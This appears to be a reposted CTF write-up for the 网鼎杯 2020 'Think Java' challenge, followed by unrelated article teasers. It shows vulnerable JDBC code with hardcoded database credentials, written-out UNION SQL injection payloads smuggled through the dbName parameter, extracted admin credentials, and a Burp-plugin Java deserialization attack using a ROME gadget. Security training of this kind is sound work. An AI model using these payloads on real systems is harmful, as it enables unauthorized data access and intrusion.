[网鼎杯 2020 朱雀组]Think Java

[网鼎杯 2020 朱雀组]Think Java

swagger

[[swagger]]

  • 首先下载源码,查看之后发现
    image.png

  • 查找swagger资料,或者扫描,得到:swagger-ui.html

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

  • 首先去看看sqlDict页面,感觉跟sql注入有关
    image.png

JDBC sql注入

[[JDBC sql注入]]

//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法try {Class.forName("com.mysql.jdbc.Driver");if (dbName != null && !dbName.equals("")) {dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;} else {dbName = "jdbc:mysql://mysqldbserver:3306/myapp";}if (user == null || dbName.equals("")) {user = "root";}if (pass == null || dbName.equals("")) {pass = "abc@12345";}conn = DriverManager.getConnection(dbName, user, pass);//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";ResultSet rs = stmt.executeQuery(sql);

参考wp,写的比较详细
https://blog.csdn.net/RABCDXB/article/details/124003575
https://syunaht.com/p/701889044.html

?#特殊处理

jdbc类似于url解析,所以会对于#和?有着不一样的解释

  • #在jdbc中无实际意义且#号后面的会被忽视。例如:myapp# 11会被当做myapp。而SQL语句得到的是:11
  • ?也是一样的,不过需要加个键值对。myapp?a=11。得到的SQL语句是:11
    所以构造,将提交方式改为post会好一点
dbName=myapp?a=1'union+select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())#

image.png

  • 也不一定要用myapp数据库,也可以使用mysql自带的数据库,比如mysql
dbName=mysql?a=1'union+select+333#

image.png

  • 上面我们使用myapp数据库的时候其实返回了表名user,字段name和pwd
  • 所以直接进行注入
使用?
dbName=myapp?a=1'union+select+group_concat(name,pwd)+from+user#使用#
dbName=myapp#1'union+select+group_concat(name,pwd)+from+user#

image.png
得到

admin
admin@Rrrr_ctf_asde
  • 进入登录页面进行登录
    image.png
  • 登录成功之后返回了
    image.png

java反序列化

[[java反序列化]]

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

  • 很明显是base64加密,进入最后一个将数据放入抓包
    1710861473304.png
    看到回显的数据就是admin用户名,尝试反序列化利用

java Deserialization Scanner

[[java反序列化#java Deserialization Scanner]]

  • 分析组件
  • 可以简化ysoserial使用流程
    是bp里面的插件,下载安装看这篇博客吧
    https://blog.csdn.net/RABCDXB/article/details/124003575
  • 主要讲如何使用
    有三个模块,分别是组件分析,漏洞利用,配置
使用

组件分析

  • 进入
    image.png
  • 使用
    image.png
  • 显现红色的就是它推测出来的组件,这里是ROME
    漏洞利用
  • 进入
    image.png
  • 使用
    Snipaste_2024-03-19_23-14-24.png

最后,监听9999 端口,得到
1710861809481.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759548.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[激光原理与应用-76]:光束指向性与影响因素

目录 一、光束指向性 1.1 概述 2.2 光束指向性与光斑大小的区别 2.3 光束指向性与时间的关系 二、激光器的光束指向性的测量方法 2.1 概述 2.2 计算方法 三、激光器中影响光束指向性的因素 一、光束指向性 1.1 概述 光束指向性是指光束传播方向的特性,也可…

Java与Go:对象

对象是面向对象编程的核心概念之一,它具有封装、抽象、继承、多态等特性,能够帮助程序员更好地组织和管理程序,提高代码的可读性、可维护性和可重用性。今天我们来聊一聊Java中的class和Go语言的struct。 Java的class 在Java中,…

【Linux】进程通信

目录 一、管道通信 二、共享内存 三、消息队列 一、管道通信 管道是由操作系统维护的一个文件,管道通信的本质就是将管道文件作为临界资源,实现不同进程之间的数据读写,但是管道只允许父子进程或者兄弟进程之间的通信。 管道文件本身是全…

刷题DAY29 | LeetCode 491-递增子序列 46-全排列 47-全排列 II

491 递增子序列(medium) 给你一个整数数组 nums ,找出并返回所有该数组中不同的递增子序列,递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素,如出现两个整数相等,也…

开放签开源电子签章白皮书-简版

开放签开源电子签章白皮书-简版 一、摘要: 开放签电子签章团队源自于电子合同SaaS公司,立志于通过开源、开放的模式,结合团队十多年的行业经验,将电子签章产品更简单、更低门槛的推广到各行各业中。让电子签章应用更简单&#x…

Fetch、Axios 和 jQuery(Ajax) 三种常用的网络请求技术

Fetch、Axios 和 jQuery(Ajax) 是三种常用的网络请求技术,它们各自有着不同的特点和优势。本文将对这三种技术进行详细的介绍和比较,以帮助开发者更好地选择和使用合适的网络请求技术。 一、Fetch Fetch(浏览器自带) 是一种现代的网络请求 API&#xff…

Design Data Sheet for user shoppingcart in mysql

当设计用户的购物车模型表时: 1:购物车是订单的一种状态 订单的状态: 【待购买】:也就是购物车—超市中放置到购物篮 【待支付】:已经从购物车中确认–去到收银台中结算,但未给钱 【已支付】:已经支付过的订单----已经…

Vue3组件的注册

组件是Vue.js中的一个重要概念,它是一种抽象,是一个可以复用的Vue.js实例。它拥有独一无二的组件名称,可以扩展HTML元素,以组件名称的方式作为自定义的HTML标签。 在大多数系统网页中,网页都包含header、body、footer…

unlogged 分析

目录 实现原理示例 实现原理 以 Agent 的方式运行,启动了一个 Http Server,默认监听 12100 端口,支持执行某个类的某个方法,在执行方法的时候支持 mock 方法内的接口调用 示例 POST http://127.0.0.1:12100/command Body {&q…

Debezium vs OGG vs Tapdata:如何实时同步 Oracle 数据到 Kafka 消息队列?

随着信息时代的蓬勃发展,企业对实时数据处理的需求逐渐成为推动业务创新和发展的重要驱动力。在这个快速变化的环境中,许多企业选择将 Oracle 数据库同步到 Kafka,以满足日益增长的实时数据处理需求。本文将深入探讨这一趋势的背后原因&#…

数学建模(熵权法 python代码 例子)

目录 介绍: 模板: 例子:择偶 极小型指标转化为极大型(正向化): 中间型指标转为极大型(正向化): 区间型指标转为极大型(正向化)&#xff1a…

力扣每日练习(3.18)补

200. 岛屿数量 岛屿是指上下左右都是被0包起来的。使用递归的方式,也就是深度优先搜索,需要确定终止条件,也就是badcase是什么情况出现的。 二叉树是递到叶子节点的时候,因为下面是空子树了;矩阵就是越界,…

基于BusyBox的imx6ull移植sqlite3到ARM板子上

1.官网下载源码 https://www.sqlite.org/download.html 下载源码解压到本地的linux环境下 2.解压并创建install文件夹 3.使用命令行配置 在解压的文件夹下打开终端,然后输入以下内容,其中arm-linux-gnueabihf是自己的交叉编译器【自己替换】 ./config…

PyTorch 深度学习(GPT 重译)(三)

六、使用神经网络拟合数据 本章内容包括 与线性模型相比,非线性激活函数是关键区别 使用 PyTorch 的nn模块 使用神经网络解决线性拟合问题 到目前为止,我们已经仔细研究了线性模型如何学习以及如何在 PyTorch 中实现这一点。我们专注于一个非常简单…

获取蓝牙Download_Linkey日志方法

::获取root权限 del bt_config.conf :retry adb root if %errorlevel% neq 0 ( echo adb root failed. Retrying... goto retry ) echo Congratulations To Adb Root For His Success.... :adb_pull adb pull /data/misc/bluedroid/bt_config.conf if %errorlevel% neq…

拷贝他人maven仓库jar包到自己本地仓库,加载maven依然提示无法下载对应依赖

所遇问题: 拷贝他人maven仓库jar包到自己本地maven仓库repository下的对应依赖位置,重新加载idea的maven依然提示无法下载对应依赖。 解决办法: 在maven->repository找到对应报错依赖路径,删除xxx.repositories 和 xxx.lastU…

websocket 中 request-line 中的URI编码问题

首先,request-line组成如下: Request-Line Method SP Request-URI SP HTTP-Version CRLF 在 rfc6455 规范的 5.1.2 Request-URI 中,有这样的描述: The Request-URI is transmitted in the format specified in section 3.2.1. …

【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结 模糊图像增强技术之去噪声类滤波场景应用小结—【蘇小沐】 文章目录 【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结(一)去噪声类滤波器1、去块滤波器(Deblo…

不同“chatGPT”比较

通过两个问题比较不同版本的 生成式 AI 国内免费: 【通义千问】https://tongyi.aliyun.com/qianwen 【文心一言】https://yiyan.baidu.com 【豆包】https://www.doubao.com/chat 【360 智脑】https://chat.360.com/chat 归属主体: 【阿里-通义千问-免费-国内可访…

32.768K晶振X1A000141000300适用于无人驾驶汽车电子设备

科技的发展带动电子元器件的发展电子元器件-“晶振”为现代的科技带来了巨大的贡献,用小小的身体发挥着大大的能量。 近两年无人驾驶汽车热度很高,不少汽车巨头都已入局。但这项技术的难度不小,相信在未来几年里,无人驾驶汽车这项…